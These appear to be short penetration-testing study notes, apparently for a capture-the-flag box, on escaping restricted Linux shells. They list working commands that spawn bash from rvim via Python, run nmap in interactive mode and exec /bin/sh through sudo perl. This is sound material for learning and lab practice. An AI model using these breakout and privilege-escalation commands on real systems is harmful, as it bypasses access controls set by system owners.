Escape restricted shell

Goals

• To excapse from restricted Linux shell
• Execute commands from vim: https://www.linux.com/tutorials/vim-tips-working-external-commands/
• Ref: https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

Run vrim and excapse to shell

• sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
• :python import pty; pty.spawn("/bin/bash");
• More from https://reboare.github.io/htb/htb-jail.html

Or

• :py import os
• :py os.system("/bin/bash")

If in limited bash shell

• python -c "import pty; pty.spawn('/bin/bash')"

Run old nmap in interactive mode

• nmap --interactive

Vim basic

• https://null-byte.wonderhowto.com/how-to/use-misconfigured-suid-bit-escalate-privileges-get-root-0173929/

Run shell from Perl

• sudo /usr/bin/perl -e 'exec "/bin/sh";'